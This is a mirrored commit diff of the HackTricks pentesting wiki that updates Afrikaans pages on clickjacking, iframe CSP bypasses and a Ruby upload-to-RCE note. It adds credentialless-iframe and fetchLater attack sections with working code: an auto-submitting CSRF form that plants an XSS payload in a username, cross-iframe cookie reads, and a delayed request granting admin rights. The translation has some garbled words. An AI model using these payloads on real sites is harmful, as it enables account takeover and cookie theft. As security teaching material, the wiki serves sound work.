mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/network-services-pentesting/pentesting-web/ruby-tricks.
This commit is contained in:
parent
bc81a8a58d
commit
e34befbc9a
@ -435,6 +435,7 @@
|
||||
- [PrestaShop](network-services-pentesting/pentesting-web/prestashop.md)
|
||||
- [Python](network-services-pentesting/pentesting-web/python.md)
|
||||
- [Rocket Chat](network-services-pentesting/pentesting-web/rocket-chat.md)
|
||||
- [Ruby Tricks](network-services-pentesting/pentesting-web/ruby-tricks.md)
|
||||
- [Special HTTP headers$$external:network-services-pentesting/pentesting-web/special-http-headers.md$$]()
|
||||
- [Source code Review / SAST Tools](network-services-pentesting/pentesting-web/code-review-tools.md)
|
||||
- [Spring Actuators](network-services-pentesting/pentesting-web/spring-actuators.md)
|
||||
|
@ -0,0 +1,9 @@
|
||||
# Ruby Tricks
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Lêeroplaai na RCE
|
||||
|
||||
Soos verduidelik in [this article](https://www.offsec.com/blog/cve-2024-46986/), kan die oplaaien van 'n `.rb` lêer in sensitiewe gidse soos `config/initializers/` lei tot afstandlike kode-uitvoering (RCE) in Ruby on Rails toepassings.
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
@ -4,7 +4,7 @@
|
||||
|
||||
## Wat is Clickjacking
|
||||
|
||||
In 'n clickjacking-aanval word 'n **gebruiker** **mislei** om op 'n **element** op 'n webblad te **klik** wat of **on sigbaar** is of as 'n ander element vermom is. Hierdie manipulasie kan lei tot onbedoelde gevolge vir die gebruiker, soos die aflaai van malware, herleiding na kwaadwillige webbladsye, verskaffing van akrediteer of sensitiewe inligting, geldtransfers, of die aanlyn aankoop van produkte.
|
||||
In 'n clickjacking-aanval word 'n **gebruiker** **mislei** om op 'n **element** op 'n webblad te **klik** wat of **on sigbaar** is of as 'n ander element vermom is. Hierdie manipulasie kan lei tot onbedoelde gevolge vir die gebruiker, soos die aflaai van malware, herleiding na kwaadwillige webbladsye, verskaffing van geloofsbriewe of sensitiewe inligting, geld oordragte, of die aanlyn aankoop van produkte.
|
||||
|
||||
### Prepopulate forms trick
|
||||
|
||||
@ -12,7 +12,7 @@ Soms is dit moontlik om die **waarde van velde van 'n vorm te vul met GET parame
|
||||
|
||||
### Populate form with Drag\&Drop
|
||||
|
||||
As jy die gebruiker nodig het om 'n **vorm** te **vul** maar jy wil nie direk vra dat hy spesifieke inligting (soos die e-pos en of spesifieke wagwoord wat jy weet) skryf nie, kan jy hom net vra om iets te **Drag\&Drop** wat jou beheerde data sal skryf soos in [**hierdie voorbeeld**](https://lutfumertceylan.com.tr/posts/clickjacking-acc-takeover-drag-drop/).
|
||||
As jy die gebruiker nodig het om 'n **vorm** te **vul** maar jy wil nie direk vra dat hy spesifieke inligting (soos die e-pos en of spesifieke wagwoord wat jy ken) skryf nie, kan jy hom net vra om iets te **Drag\&Drop** wat jou beheerde data sal skryf soos in [**hierdie voorbeeld**](https://lutfumertceylan.com.tr/posts/clickjacking-acc-takeover-drag-drop/).
|
||||
|
||||
### Basic Payload
|
||||
```css
|
||||
@ -58,7 +58,7 @@ left:210px;
|
||||
<div class="secondClick">Click me next</div>
|
||||
<iframe src="https://vulnerable.net/account"></iframe>
|
||||
```
|
||||
### Sleep\&Sleep + Klik payload
|
||||
### Sleep\&Sleep + Klik lasbrief
|
||||
```css
|
||||
<html>
|
||||
<head>
|
||||
@ -96,7 +96,7 @@ Jy het 'n **self XSS** in sommige privaat besonderhede van die rekening gevind (
|
||||
|
||||
### DoubleClickjacking
|
||||
|
||||
Eerstens [verduidelik in hierdie pos](https://securityaffairs.com/172572/hacking/doubleclickjacking-clickjacking-on-major-websites.html), hierdie tegniek sou die slagoffer vra om dubbel te klik op 'n knoppie van 'n pasgemaakte bladsy wat op 'n spesifieke plek geplaas is, en die tydsverskille tussen mousedown en onclick gebeurtenisse gebruik om die slagofferbladsy te laai tydens die dubbelklik sodat die **slagoffer werklik op 'n regte knoppie in die slagofferbladsy klik**.
|
||||
Eerstens [verduidelik in hierdie pos](https://securityaffairs.com/172572/hacking/doubleclickjacking-clickjacking-on-major-websites.html), hierdie tegniek sou die slagoffer vra om dubbel op 'n knoppie van 'n pasgemaakte bladsy te klik wat op 'n spesifieke plek geplaas is, en die tydsverskille tussen mousedown en onclick gebeurtenisse te gebruik om die slagofferbladsy tydens die dubbelklik te laai sodat die **slagoffer werklik op 'n regte knoppie in die slagofferbladsy klik**.
|
||||
|
||||
'n Voorbeeld kan in hierdie video gesien word: [https://www.youtube.com/watch?v=4rGvRRMrD18](https://www.youtube.com/watch?v=4rGvRRMrD18)
|
||||
|
||||
@ -164,11 +164,11 @@ Verder besonderhede en komplekse voorbeelde kan gevind word in die [frame-ancest
|
||||
```
|
||||
Content-Security-Policy: frame-src 'self' https://trusted-website.com;
|
||||
```
|
||||
Hierdie beleid laat rame van die dieselfde oorsprong (self) en https://trusted-website.com toe.
|
||||
Hierdie beleid laat rame van dieselfde oorsprong (self) en https://trusted-website.com toe.
|
||||
|
||||
#### `child-src` Direktief
|
||||
|
||||
- Ingevoerd in CSP vlak 2 om geldige bronne vir webwerkers en rame te stel.
|
||||
- Ingevoerd in CSP vlak 2 om geldige bronne vir webwerkers en rame in te stel.
|
||||
- Dien as 'n terugval vir frame-src en worker-src.
|
||||
```
|
||||
Content-Security-Policy: child-src 'self' https://trusted-website.com;
|
||||
|
@ -6,9 +6,9 @@
|
||||
|
||||
Daar is 3 maniere om die inhoud van 'n iframed bladsy aan te dui:
|
||||
|
||||
- Via `src` wat 'n URL aandui (die URL kan kruis oorsprong of dieselfde oorsprong wees)
|
||||
- Via `src` wat die inhoud aandui met die `data:` protokol
|
||||
- Via `srcdoc` wat die inhoud aandui
|
||||
- Deur `src` wat 'n URL aandui (die URL kan kruis oorsprong of dieselfde oorsprong wees)
|
||||
- Deur `src` wat die inhoud aandui met die `data:` protokol
|
||||
- Deur `srcdoc` wat die inhoud aandui
|
||||
|
||||
**Toegang tot Ouers & Kind vars**
|
||||
```html
|
||||
@ -45,16 +45,16 @@ var secret = "child secret"
|
||||
alert(parent.secret)
|
||||
</script>
|
||||
```
|
||||
As jy toegang tot die vorige html via 'n http-server (soos `python3 -m http.server`) kry, sal jy opgemerk dat al die skripte uitgevoer sal word (aangesien daar geen CSP is wat dit verhinder nie). **die ouer sal nie in staat wees om toegang te verkry tot die `secret` var binne enige iframe nie** en **slegs die iframes if2 & if3 (wat beskou word as dieselfde webwerf) kan toegang verkry tot die geheim** in die oorspronklike venster.\
|
||||
As jy toegang tot die vorige html via 'n http-server (soos `python3 -m http.server`) verkry, sal jy opgemerk dat al die skripte uitgevoer sal word (aangesien daar geen CSP is wat dit verhinder nie). **die ouer sal nie in staat wees om toegang te verkry tot die `secret` var binne enige iframe nie** en **slegs die iframes if2 & if3 (wat as dieselfde webwerf beskou word) kan toegang verkry tot die geheim** in die oorspronklike venster.\
|
||||
Let op hoe if4 beskou word as 'n `null` oorsprong.
|
||||
|
||||
### Iframes met CSP <a href="#iframes_with_csp_40" id="iframes_with_csp_40"></a>
|
||||
|
||||
> [!NOTE]
|
||||
> [!TIP]
|
||||
> Let asseblief op hoe in die volgende omseilings die antwoord op die iframed bladsy geen CSP-kop bevat wat JS-uitvoering verhinder nie.
|
||||
|
||||
Die `self` waarde van `script-src` sal nie die uitvoering van die JS-kode met die `data:` protokol of die `srcdoc` attribuut toelaat nie.\
|
||||
Echter, selfs die `none` waarde van die CSP sal die uitvoering van die iframes toelaat wat 'n URL (volledig of net die pad) in die `src` attribuut plaas.\
|
||||
Ehowever, selfs die `none` waarde van die CSP sal die uitvoering van die iframes toelaat wat 'n URL (volledig of net die pad) in die `src` attribuut plaas.\
|
||||
Daarom is dit moontlik om die CSP van 'n bladsy te omseil met:
|
||||
```html
|
||||
<html>
|
||||
@ -83,7 +83,7 @@ Echter, **slegs `if1` en `if2` skripte gaan uitgevoer word, maar slegs `if1` sal
|
||||
|
||||
Daarom is dit moontlik om **'n CSP te omseil as jy 'n JS-lêer na die bediener kan oplaai en dit via iframe kan laai, selfs met `script-src 'none'`**. Dit kan **ook moontlik wees om 'n same-site JSONP-eindpunt te misbruik**.
|
||||
|
||||
Jy kan dit toets met die volgende scenario waar 'n koekie gesteel word selfs met `script-src 'none'`. Voer eenvoudig die toepassing uit en toegang dit met jou blaaier:
|
||||
Jy kan dit toets met die volgende scenario waar 'n koekie gesteel word selfs met `script-src 'none'`. Voer net die toepassing uit en toegang dit met jou blaaskans:
|
||||
```python
|
||||
import flask
|
||||
from flask import Flask
|
||||
@ -127,13 +127,60 @@ Wanneer dit gebruik word, plaas die `sandbox` attribuut verskeie beperkings:
|
||||
- Toegang tot sekere API's is gedeaktiveer.
|
||||
- Dit verhoed dat skakels met ander blaai-kontekste interaksie het.
|
||||
- Gebruik van plugins via `<embed>`, `<object>`, `<applet>`, of soortgelyke etikette is verbode.
|
||||
- Navigasie van die inhoud se topvlak blaai-konteks deur die inhoud self is verhoed.
|
||||
- Kenmerke wat outomaties geaktiveer word, soos video-afspeel of outomatiese fokus van vormbeheer, is geblokkeer.
|
||||
- Navigasie van die inhoud se topvlak blaai-konteks deur die inhoud self word verhoed.
|
||||
- Kenmerke wat outomaties geaktiveer word, soos video-afspeel of outomatiese fokus van vormkontroles, word geblokkeer.
|
||||
|
||||
Die attribuut se waarde kan leeg gelaat word (`sandbox=""`) om al die bogenoemde beperkings toe te pas. Alternatiewelik kan dit gestel word op 'n spasie-geskeide lys van spesifieke waardes wat die iframe van sekere beperkings vrystel.
|
||||
```html
|
||||
<iframe src="demo_iframe_sandbox.htm" sandbox></iframe>
|
||||
```
|
||||
### Credentialless iframes
|
||||
|
||||
Soos verduidelik in [this article](https://blog.slonser.info/posts/make-self-xss-great-again/), die `credentialless` vlag in 'n iframe word gebruik om 'n bladsy binne 'n iframe te laai sonder om kredensiale in die versoek te stuur terwyl die dieselfde oorsprong beleid (SOP) van die gelaaide bladsy in die iframe gehandhaaf word.
|
||||
|
||||
Dit stel die iframe in staat om sensitiewe inligting van 'n ander iframe in dieselfde SOP wat in die ouerbladsy gelaai is, te bekom:
|
||||
```javascript
|
||||
window.top[1].document.body.innerHTML = 'Hi from credentialless';
|
||||
alert(window.top[1].document.cookie);
|
||||
```
|
||||
- Exploit voorbeeld: Self-XSS + CSRF
|
||||
|
||||
In hierdie aanval berei die aanvaller 'n kwaadwillige webblad voor met 2 iframes:
|
||||
|
||||
- 'n iframe wat die slagoffer se bladsy laai met die `credentialless` vlag met 'n CSRF wat 'n XSS aktiveer (Stel jou 'n Self-XSS in die gebruiker se gebruikersnaam voor):
|
||||
```html
|
||||
<html>
|
||||
<body>
|
||||
<form action="http://victim.domain/login" method="POST">
|
||||
<input type="hidden" name="username" value="attacker_username<img src=x onerror=eval(window.name)>" />
|
||||
<input type="hidden" name="password" value="Super_s@fe_password" />
|
||||
<input type="submit" value="Submit request" />
|
||||
</form>
|
||||
<script>
|
||||
document.forms[0].submit();
|
||||
</script>
|
||||
</body>
|
||||
</html>
|
||||
```
|
||||
|
||||
- 'n Ander iframe wat eintlik die gebruiker ingelogde het (sonder die `credentialless` vlag).
|
||||
|
||||
Dan, vanaf die XSS is dit moontlik om toegang te verkry tot die ander iframe aangesien hulle dieselfde SOP het en die koekie te steel deur byvoorbeeld uit te voer:
|
||||
```javascript
|
||||
alert(window.top[1].document.cookie);
|
||||
```
|
||||
### fetchLater Aanval
|
||||
|
||||
Soos aangedui in [hierdie artikel](https://blog.slonser.info/posts/make-self-xss-great-again/) laat die API `fetchLater` toe om 'n versoek te konfigureer wat later uitgevoer moet word (na 'n sekere tyd). Daarom kan dit misbruik word om byvoorbeeld 'n slagoffer binne 'n aanvaller se sessie in te log (met Self-XSS), 'n `fetchLater` versoek in te stel (om die wagwoord van die huidige gebruiker te verander byvoorbeeld) en uit te log uit die aanvaller se sessie. Dan log die slagoffer in sy eie sessie in en die `fetchLater` versoek sal uitgevoer word, wat die wagwoord van die slagoffer verander na die een wat deur die aanvaller gestel is.
|
||||
|
||||
Op hierdie manier, selfs al kan die slagoffer se URL nie in 'n iframe gelaai word nie (weens CSP of ander beperkings), kan die aanvaller steeds 'n versoek in die slagoffer se sessie uitvoer.
|
||||
```javascript
|
||||
var req = new Request("/change_rights",{method:"POST",body:JSON.stringify({username:"victim", rights: "admin"}),credentials:"include"})
|
||||
const minute = 60000
|
||||
let arr = [minute, minute * 60, minute * 60 * 24, ...]
|
||||
for (let timeout of arr)
|
||||
fetchLater(req,{activateAfter: timeout})
|
||||
```
|
||||
## Iframes in SOP
|
||||
|
||||
Kyk na die volgende bladsye:
|
||||
|
Loading…
x
Reference in New Issue
Block a user